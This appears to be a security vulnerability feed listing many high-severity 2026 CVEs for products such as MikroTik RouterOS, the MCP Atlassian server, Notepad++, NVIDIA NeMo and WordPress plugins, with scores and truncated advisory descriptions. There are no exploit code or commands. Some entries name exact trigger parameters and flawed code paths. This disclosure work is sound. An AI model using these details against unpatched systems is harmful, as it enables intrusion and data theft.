CVE-2026-93345	New	8.7	HIGH				MikroTik RouterOS before 7.25beta4 contains an improper input validation vulnerability in the labelled-VPN NLRI iterators of the routing service that allows an unauthenticated on-path attacker to crash the BGP service by sending a malformed MP_REACH_NLRI UPDATE message with a prefix-length value below the minimum valid for a labelled-VPN NLRI, which passes validation while d...
CVE-2026-94450	New	8.7	HIGH				Improper validation of the Destination Connection ID length in s2n-quic 1.88.0 and earlier may allow an unauthenticated remote user to cause a denial of service by shutting down a server endpoint via a single crafted UDP datagram. Only server endpoints specifically configured to send Retry packets are affected. To remediate this issue, users should upgrade to version v1.8...
CVE-2026-34689	New	8.6	HIGH				Adobe Connect is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-75791	New	8.6	HIGH				Zohocorp ManageEngine ADSelfService Plus versions before build 7001 are vulnerable to an authentication bypass vulnerability in the REST API.
CVE-2026-77248	New	8.6	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the streamable HTTP transport accepts requests without a user identity and falls back to operator credentials, while upload_attachment accepts an unrestricted file_path. An unauthenticated network caller can read files available to the MCP process, upload the...
CVE-2026-77255	New	8.6	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Jira update_issue attachments argument is converted into local paths and routed to the attachment upload implementation without workspace validation. A caller can make the MCP server read arbitrary local files and attach them to a Jira issue, using the se...
CVE-2026-77262	New	8.6	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment accepts an attacker-controlled file_path and does not apply the path restriction added for the earlier download vulnerability. A caller can traverse outside the workspace and upload arbitrary server-readable files to Confluence. T...
CVE-2026-80149	New	8.6	HIGH				Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882 contain a server-side request forgery vulnerability in the WebSSH/WebTelnet listener that allows unauthenticated attackers to cause the affected device to establish SSH connections to attacker-controlled endpoints. The custom shellinaboxd uses the rooturl...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85279	New	8.6	HIGH				Notepad++ is a free and open-source source code editor. Prior to 8.9.8, Notepad++ contains a stack buffer overflow in PluginsManager::loadPluginFromPath in PowerEditor/src/MISC/PluginsManager/PluginsManager.cpp because the plugin-supplied GetLexerCount() result controls a loop that writes to containers[30] without enforcing NB_MAX_EXTERNAL_LANG. A malicious or compromised pl...
CVE-2026-95655	New	8.6	HIGH				Aureus ERP before 1.5.0 fails to scope message lookups to the current record in ChatterPanel, allowing authenticated users to access arbitrary messages. Attackers can submit sequential message IDs to read, edit, delete, or pin messages from other departments or companies, and enumerate all notes in the system.
CVE-2026-17646	New	8.5	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to obtain sensitive information due to improper restriction of XML external entity references.
CVE-2026-18095	New	8.5	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to execute arbitrary code due to a buffer overflow.
CVE-2026-82003	New	8.5	HIGH				Adobe Campaign Classic (ACC) is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction....
CVE-2026-74766	New	8.4	HIGH		0.002		Net::IDN::Punycode versions from 2.301 before 2.590 for Perl allow a heap use-after-free via a decoded code point that reallocates the output buffer in decode_punycode. The XS backend inserts each decoded code point into the string buffer of the scalar it returns. decode_punycode computes the insertion pointer first and only then grows the buffer when the code point does no...
CVE-2026-83603	New	8.4	HIGH				Netdata is an open source observability tool. Prior to 2.10.4, the setuid-root ndsudo helper command fail2ban-client-status-socket in src/collectors/utlis/ndsudo.c accepts a caller-controlled --socket_path from the low-privileged netdata service account. The account can direct root fail2ban-client to a malicious UNIX socket, and fail2ban/client/csocket.py CSocket.receive() p...
CVE-2026-18457	New	8.3	HIGH				Heap-based Buffer Overflow vulnerability in RTI Connext Professional (Core Libraries) allows Overflow Buffers. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 5.2.3 before 5.2.*.
CVE-2026-65114	New	8.3	HIGH				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause missing authentication for a critical function. A successful exploit of this vulnerability might lead to data tampering, denial of service, and information disclosure.
CVE-2026-77247	New	8.3	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence upload tools interpret caller-controlled path arguments on the MCP server and open those files before sending them as attachments. In remote or multi-user deployments, a permitted client can disclose host files without shell or direct file...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77251	New	8.3	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira search accepts a forbidden project clause because it checks only for the presence of project syntax, Confluence search uses an incomplete case-sensitive space check, and Jira board APIs omit project-filter enforcement. These paths expose issues, boards, ...
CVE-2026-77256	New	8.3	HIGH				MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the plaintext OAuth fallback file containing refresh and access tokens is written with permissions inherited from the process umask. Under common or permissive configurations, other local users can read the backup and retain Atlassian access through the refre...
CVE-2026-77257	New	8.3	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, HTTP-exposed Jira and Confluence upload tools pass a caller-provided file_path to local file operations without restricting it to the workspace. A remote MCP caller with tool access can cause the server to read sensitive local files and upload them as Atlassi...
CVE-2026-77260	New	8.3	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Confluence and Jira upload_attachment implementations accept an unconstrained file_path and open the referenced server-local file. A permitted MCP caller can upload sensitive host files to an Atlassian destination and then retrieve their contents. The adv...
CVE-2026-77267	New	8.3	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url headers are processed by _process_authentication_headers and used to construct Atlassian fetchers without calling validate_url_for_ssrf. A caller who can set these headers can supply an internal or metad...
CVE-2026-77271	New	8.3	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_safe_path defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit base_dir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the applic...
CVE-2026-18074	New	8.2	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to perform unauthorized actions due to improper authentication and missing authorization.
CVE-2026-18131	New	8.2	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute arbitrary JavaScript in an authenticated user's browser due to improper neutralization of HTML input.
CVE-2026-19438	New	8.2	HIGH				Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in ABB Mint Workbench I. This issue affects Mint Workbench I: through 5876.
CVE-2026-65121	New	8.2	HIGH				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause an improper authentication issue. A successful exploit of this vulnerability might lead to escalation of privileges, information disclosure, and data tampering.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-65634	New	8.2	HIGH		0.003		Inefficient algorithmic complexity in the Erlang/OTP asn1 OBJECT IDENTIFIER decoder allows a remote unauthenticated attacker to cause denial of service by sending a crafted OID during the TLS handshake. The BER OID decoder <code>asn1rtt_ber:dec_subidentifiers/3</code> in <code>lib/asn1/src/asn1rtt_ber.erl</code> and the equivalent PER helper <code>asn1rtt_per_common:dec_subidentifiers/3</code> in <code>lib/asn1/src/as...</code>
CVE-2026-87119	New	8.2	HIGH				Authentication Bypass by Capture-replay in ZenHive mpp allows an attacker holding a captured subscription activation credential to charge the payer repeatedly. The payer signs a Tempo KeyAuthorization over the chain id, key type, key id, expiry, limits and scopes only, with nothing tying it to the challenge that prompted it. <code>MPP.Methods.Tempo.KeyAuthorization.verify/3</code> in <code>li...</code>
CVE-2026-18137	New	8.1	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute arbitrary ESQL commands due to improper neutralization of special elements used in an ESQL command.
CVE-2026-43642	New	8.1	HIGH				Softaculous Virtualizor before 3.2.9 (Patch 9) and 3.0.0 contains a PHP object injection vulnerability in the billing module handler that allows unauthenticated remote attackers to supply arbitrary serialized PHP objects for deserialization by setting the <code>act</code> parameter to <code>login</code> with the <code>from_billing_module</code> parameter present. Attackers can pass malicious serialized data throu...
CVE-2026-63104	New	8.1	HIGH				Kaneo versions 2.3.12 before 2.12.2 contain a missing authorization vulnerability that allows authenticated workspace members with viewer or member roles to delete and modify tasks beyond their assigned permissions by exploiting the bulk task endpoint that omits workspace permission checks. Attackers can send requests to the <code>PATCH /api/task/bulk</code> endpoint, which verifies only...
CVE-2026-75607	New	8.1	HIGH				Frigate is an open source network video recorder. Prior to 0.17.2, the WebSocket handler in <code>frigate/comms/ws.py</code> forwards attacker-selected message topics to the dispatcher without checking the authenticated user's role because the nginx authentication subrequest does not provide role-aware authorization to the handler. Any authenticated viewer can send admin-only topics such...
CVE-2026-75744	New	8.1	HIGH				Adobe Experience Manager Forms JEE is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control o...
CVE-2026-87902	New	8.1	HIGH				An unauthenticated attacker can make <code>`get_page_template()`</code> page-template resolution include a chosen readable local <code>`php`</code> file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.
CVE-2026-92235	New	8.1	HIGH		0.004		The The WP Ultimate Review plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.4.2. This is due to the software allowing users to execute an action that does not properly validate a value before running <code>do_shortcode</code> . This makes it possible for authenticated attackers, with subscriber-level access and above, to execute a...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92969	New	8.1	HIGH		0.006		The HUSKY – Products Filter for WooCommerce Professional plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.4.4 via the 'shortcode' parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can ...
CVE-2026-95814	New	8.1	HIGH				Vaultwarden through 1.37.3 omits organization membership status validation from three cipher access-restriction queries, allowing revoked and not-yet-confirmed members to retain read, write, delete, and attachment access to organization ciphers. Attackers with revoked or pending membership can exploit missing status filters in get_user_collections_access_flags, get_group_col...
CVE-2026-18154	New	8.0	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to the use of a hard-coded or predictable cryptographic key.
CVE-2026-65130	New	8.0	HIGH				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause OS command injection. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, and information disclosure.
CVE-2026-18066	New	7.9	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to obtain sensitive information and trigger unauthorized actions due to server-side request forgery.
CVE-2026-24239	New	7.8	HIGH				NVIDIA NeMo Speech for all platforms contains a vulnerability where malicious data created by an attacker could cause remote code execution. A successful exploit of this vulnerability might lead to code execution, information disclosure, and data tampering.
CVE-2026-24267	New	7.8	HIGH				NVIDIA NeMo Speech for all platforms contains a vulnerability in the speech data explorer component, where malicious data created by an attacker could cause remote code execution. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.
CVE-2026-65111	New	7.8	HIGH				NVIDIA NeMo Speech for all platforms contains a vulnerability where malicious input created by an attacker could cause a code injection. A successful exploit of this vulnerability might lead to code execution, information disclosure, and data tampering.
CVE-2026-65178	New	7.8	HIGH				NVIDIA NeMo contains a vulnerability in its dataset-loading workflow where a maliciously crafted model_config.yaml can inject unsafe parameters. A successful exploit of this vulnerability may lead to code execution, data tampering, denial of service, and information disclosure.
CVE-2026-75649	New	7.8	HIGH				Bridge is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-75655	New	7.8	HIGH				Bridge is affected by an Uncontrolled Recursion vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-75658	New	7.8	HIGH				Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-75663	New	7.8	HIGH				Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-75665	New	7.8	HIGH				Bridge is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-75676	New	7.8	HIGH				Bridge is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-77605	New	7.8	HIGH				Notepad++ is a free and open-source source code editor. Prior to 8.9.8, the Folder as Workspace Run by system action in Notepad++ can resolve a different sibling file than the file selected by the user. When an attacker places a command script whose name is the selected text-file path with .cmd appended, and the user invokes Run by system on the text file on Windows 10 or Wi...
CVE-2026-79906	New	7.8	HIGH				Substance3D - Modeler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-81998	New	7.8	HIGH				Substance3D - Modeler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-83598	New	7.8	HIGH				Netdata is an open source observability tool. From rom 2.0.0 until 2.10.4, during Netdata Windows Agent MSI repair, powershell.exe runs as SYSTEM without -NoProfile and loads %USERPROFILE%\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 from the low-privileged user who initiated repair. Commands placed in that profile before repair therefore execute with SYSTEM ...
CVE-2026-83962	New	7.8	HIGH				Substance3D - Modeler is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-83963	New	7.8	HIGH				Substance3D - Modeler is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVE-2026-86054	New	7.8	HIGH				Notepad++ is a free and open-source source code editor. Prior to 8.9.8, Notepad++ contains a stack buffer overflow in NppParameters::writeSession in PowerEditor/src/Parameters.cpp because it copies a session path derived from -settingsDir= into backupPathName[MAX_PATH] with unbounded wcsncpy and appends SESSION_BACKUP_EXT with unbounded wcscat. A sufficiently long settings di...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95831	New	7.8	HIGH				Crypt::SelfCertificate versions from 1.01 through 1.05 for Perl contains malware which executes Python code from an obfuscated URL. The generate_certificate runs a Python script saved as a certificate file. The python script attempts to retrieve code from a hardcoded http URL that is obfuscated with base64 encoding and run the response body directly. The impact is that ar...
CVE-2026-75608	New	7.7	HIGH				Frigate is an open source network video recorder. Prior to 0.18.0, the prefix-matched location /api/go2rtc/api in docker/main/rootfs/usr/local/nginx/conf/nginx.conf requires authentication but does not require an administrator role for GET requests, exposing the proxied go2rtc API to viewer users. An authenticated viewer can request the streams, config, log, and stack subpat...
CVE-2026-77258	New	7.7	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment in src/mcp_atlassian/confluence/attachments.py accepts a caller-controlled file_path and opens the selected server-local file without restricting it to the workspace. A permitted Confluence MCP caller can upload the file as an attachment and...
CVE-2026-77259	New	7.7	HIGH			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment opens a caller-selected server-local file without checking that the resolved path remains in the workspace. A caller can upload environment files, credentials, or other readable host data to a Confluence page and retrieve it throu...
CVE-2026-80148	New	7.7	HIGH				Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882 contain a server-side request forgery vulnerability in the WebSSH/WebTelnet listener that allows unauthenticated attackers to cause the affected device to establish SSH connections to attacker-controlled endpoints. The custom shellinaboxd builds its SSH c...
CVE-2026-83803	New	7.7	HIGH				Sentry is an error tracking and performance monitoring tool. From 23.11.0 until 26.7.0, Sentry instances with the relocation feature enabled unsafely deserialize a legacy database field while importing a user-supplied relocation archive. An authenticated user can craft an archive that causes arbitrary code execution in the import worker process. Self-hosted installations usi...
CVE-2026-8849	New	7.7	HIGH				Use After Free vulnerability in RTI Connex Professional (Security Plugins) allows File Manipulation. This issue affects Connex Professional: from 7.6.0 before 7.7.0.1.
CVE-2026-95619	New	7.7	HIGH				A flaw was found in libstdc++. An integer overflow can occur when processing large inputs to the aligned operator new in the C++ library. This vulnerability could lead to an undersized memory allocation, potentially causing memory corruption or application instability.
CVE-2026-95806	New	7.7	HIGH				MISP ships with PHP's phar stream wrapper registered in both its web entry point and its console entry point. The phar stream wrapper causes PHP to treat a phar archive as a directory, which has two security consequences: - any filesystem operation on a caller-influenced path that resolves to a phar archive triggers an implicit unserialize() call, creating a deserializ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-18123	New	7.6	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to cause a denial of service due to the improper use of reflection with externally controlled input.
CVE-2026-94117	New	7.6	HIGH				Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in DevItems HashBar – WordPress Notification Bar allows Blind SQL Injection. This issue affects HashBar – WordPress Notification Bar: from n/a through 2.0.3.
CVE-2026-18134	New	7.5	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to cleartext transmission of sensitive information.
CVE-2026-19480	New	7.5	HIGH				CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVE-2026-58268	New	7.5	HIGH			go:github.com/emiago/sipgo	SIPGO is a library for writing SIP services in the GO language. Prior to 1.4.1, ParserStream.parseSingle in sip/parser_stream.go allocates a SIP body buffer from the client-controlled Content-Length header before ParseMaxMessageLength is enforced. An unauthenticated peer can send a stream-transport message over TCP, TLS, WS, or WSS with an oversized declared length, causing ...
CVE-2026-59991	New	7.5	HIGH			pip:psd-tools	psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite() and PSDImage.numpy() allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those values against the available file data. A tiny crafted PSD could therefore cause ...
CVE-2026-61570	New	7.5	HIGH			maven:net.sf.mpxj:mpxj, nuget:MPXJ.Net, nuget:net.sf.mpxj, nuget:net.sf.mpxj-for-csharp, nuget:net.sf.mpxj-for-vb, pip:m	MPXJ is an open source library to read and write project plans from a variety of file formats and databases. From 5.5.5 until 16.4.1, MerlinReader creates a DocumentBuilder with default settings while parsing XML from the ZTIMEINTERVALS column of a Merlin project SQLite database, leaving doctype declarations and external entities enabled. A crafted database can cause the par...
CVE-2026-61685	New	7.5	HIGH				ReactPress is a publishing system for React developers. Prior to version 3.7.0, ReactPress API list endpoints build TypeORM `QueryBuilder` conditions using unsanitized HTTP query parameter names as SQL column identifiers (e.g. `` `article.\${key}` ``). TypeORM parameterizes values but not column names, allowing unauthenticated attackers to inject SQL through crafted query str...
CVE-2026-62985	New	7.5	HIGH			npm:request-filtering-agent	request-filtering-agent is an http(s).Agent implementation that blocks requests to Private/Reserved IP addresses. Prior to 3.2.1, RequestFilteringHttpAgent and RequestFilteringHttpsAgent synchronously threw from createConnection when rejecting a literal private-IP host such as 169.254.169.254 or 127.0.0.1. Because Node.js http.request and http.get expect connection failures ...
CVE-2026-65118	New	7.5	HIGH				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause improper certificate validation. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-75632	New	7.5	HIGH				CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVE-2026-76710	New	7.5	HIGH				A vulnerability exists in the Analytics and Location Engine (ALE) management interface that may allow for the disclosure of sensitive information. An unauthenticated remote attacker could exploit this vulnerability by sending specially crafted requests to certain internal endpoints. Successful exploitation could result in the disclosure of sensitive site hierarchy, infrastru...
CVE-2026-76711	New	7.5	HIGH				A vulnerability exists in an Analytics and Location Engine (ALE) component where the impacted process improperly processes incoming socket connections. An unauthenticated remote attacker could exploit this vulnerability by providing specially crafted input during the connection process. Successful exploitation could result in unauthorized data injection.
CVE-2026-77242	New	7.5	HIGH				MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, <code>validate_url_for_ssrf</code> checks a hostname's resolved addresses, but <code>Requests</code> and <code>urllib3</code> resolve the hostname again when connecting. A caller can use a short-lived DNS answer that is public during validation and private during connection, preserving unauthentic...
CVE-2026-77322	New	7.5	HIGH			<code>go:github.com/emiago/sipgo</code>	SIPGO is a library for writing SIP services in the GO language. Prior to 1.4.3, <code>WSConnection.Read</code> in <code>sip/transport_ws.go</code> creates a <code>wsutil.Reader</code> without setting <code>MaxFrameSize</code> , allowing <code>NextFrame</code> to accept a client-controlled header.Length before <code>ParseMaxMessageLength</code> is applied. An unauthenticated WS or WSS peer can send a frame header declaring an extremely large payload, ca...
CVE-2026-77544	New	7.5	HIGH				A malicious actor with access to the network could exploit an Out-of-bounds Write vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.
CVE-2026-77555	New	7.5	HIGH				A malicious actor with access to the network could exploit an Out-of-bounds Write vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.
CVE-2026-77556	New	7.5	HIGH				A malicious actor with access to the network could exploit an Out-of-bounds Read vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.
CVE-2026-77558	New	7.5	HIGH				A malicious actor with access to the network could exploit an Out-of-bounds Read vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.
CVE-2026-80150	New	7.5	HIGH				Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882 contain a server-side request forgery vulnerability in the WebSSH/WebTelnet listener that allows unauthenticated attackers to cause the affected device to establish Telnet connections to attacker-controlled endpoints. The custom shellinaboxd uses the root...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-83599	New	7.5	HIGH				Netdata is an open source observability tool. Prior to 2.11.0, Netdata's unauthenticated WebSocket server negotiates permessage-deflate before authentication, and src/web/websocket/websocket-compression.c allows websocket_client_decompress_message() to grow decompressed output toward WS_MAX_DECOMPRESSED_SIZE without enforcing a compressed-to-decompressed ratio. Small highly ...
CVE-2026-87079	New	7.5	HIGH		0.002		Net::IDN::Punycode versions before 2.590 for Perl allow CPU exhaustion via quadratic insertion cost when decoding a long label in decode_punycode. The XS backend inserts each decoded code point into a UTF-8 buffer and finds the insertion point by scanning that buffer from the start, one character at a time. The scan runs once per code point over the output built so far, so ...
CVE-2026-87081	New	7.5	HIGH		0.002		Net::IDN::UTS46 versions before 2.590 for Perl allow CPU exhaustion via quadratic punycode encoding of an overlong label before the length check in to_ascii. to_ascii punycode encodes each label and only then applies the 63-byte DNS limit. encode_punycode in both backends follows the sample implementation in RFC 3492, whose outer loop runs once per distinct non-ASCII code p...
CVE-2026-87082	New	7.5	HIGH		0.002		Net::IDN::Punycode versions before 2.590 for Perl hang, crash or return a wrong label via unvalidated malformed UTF-8 in encode_punycode. Neither backend checks that its input is well-formed UTF-8, so a string with the UTF-8 flag set over malformed bytes, as the :utf8 PerlIO layer produces from any malformed input, reaches the encoder unchecked. On perl 5.32 and later the X...
CVE-2026-89407	New	7.5	HIGH				NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates "stringified numbers" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then ...
CVE-2026-89425	New	7.5	HIGH				UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default...
CVE-2026-91776	New	7.5	HIGH				TypeDeserializerBase._findDeserializer() in FasterXML jackson-databind caches the resolved deserializer under the raw, attacker-supplied type ID. When name-based polymorphism is configured with a fallback, for example @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), every distinct unrecognized type ID resolves to the same fallback deserializer but is retained as its own key ...
CVE-2026-91777	New	7.5	HIGH				Forward-reference completion for @JsonIdentityInfo object IDs in FasterXML jackson-databind performs a linear scan of the pending-reference accumulator for every resolved ID. The affected paths are CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference() and the equivalent implementation in MapDeserializer. When a document first creates N unresolved ob...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91827	New	7.5	HIGH		0.003		The Ninja Forms WordPress plugin 3.15.3 does not prevent user-submitted form field values from being deserialised when an administrator later exports form submissions to CSV, allowing unauthenticated attackers to perform PHP Object Injection; if a suitable POP chain is present via another installed plugin or theme, this can lead to actions such as arbitrary file operations o...
CVE-2026-9231	New	7.5	HIGH		0.006		The WP Travel Engine – Tour Booking Plugin – Tour Operator Software plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.8.0 via the wte_get_template function. This makes it possible for authenticated attackers, with contributor-level access and above, to include and execute arbitrary .php files on the server, allowing the execut...
CVE-2026-94640	New	7.5	HIGH				A flaw was found in rpcbind. This vulnerability allows a remote, unauthenticated attacker to cause a Denial of Service (DoS) by sending a large number of unique requests. The rpcbind service records previously unseen RPC (Remote Procedure Call) statistics in unbounded in-memory lists, leading to persistent memory growth and increased CPU usage. This can degrade or exhaust se...
CVE-2026-95653	New	7.5	HIGH				Concrete CMS Community Store before 2.7.8 derives digital product download tokens from order creation timestamps instead of random values, making tokens predictable. Unauthenticated attackers can enumerate sequential order and file identifiers to calculate valid download tokens and retrieve digital goods purchased by other customers.
CVE-2026-95861	New	7.5	HIGH				A malicious actor with access to the network could exploit an Uncontrolled Recursion vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.
CVE-2026-95862	New	7.5	HIGH				A malicious actor with access to the network could exploit an Out-of-bounds Write vulnerability found in certain UniFi gateway devices to execute a Denial of Service (DoS) attack on the device.
CVE-2026-96269	New	7.5	HIGH				GNU Emacs 28.1 through 31.1 allows arbitrary code execution upon opening a file, because an untrusted value of read-symbol-shorthands affects the intern and unintern functions. This affects the default configuration; no particular user settings are required to trigger it.
CVE-2026-96272	New	7.5	HIGH				ClipBucket v5 before 5.5.3-#182 contains a blind SQL injection vulnerability in the photo search endpoint where the query parameter is passed unsanitized into SQL WHERE and ORDER BY clauses. Unauthenticated attackers can exploit time-based blind SQL injection techniques to extract user credentials, email addresses, and administrator password hashes for account takeover.
CVE-2026-18152	New	7.4	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to forge validly-signed messages due to improper verification of cryptographic signatures.
CVE-2026-18172	New	7.4	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to improper restriction of XML external entity references.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-18176	New	7.4	HIGH				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to cleartext transmission of sensitive information.
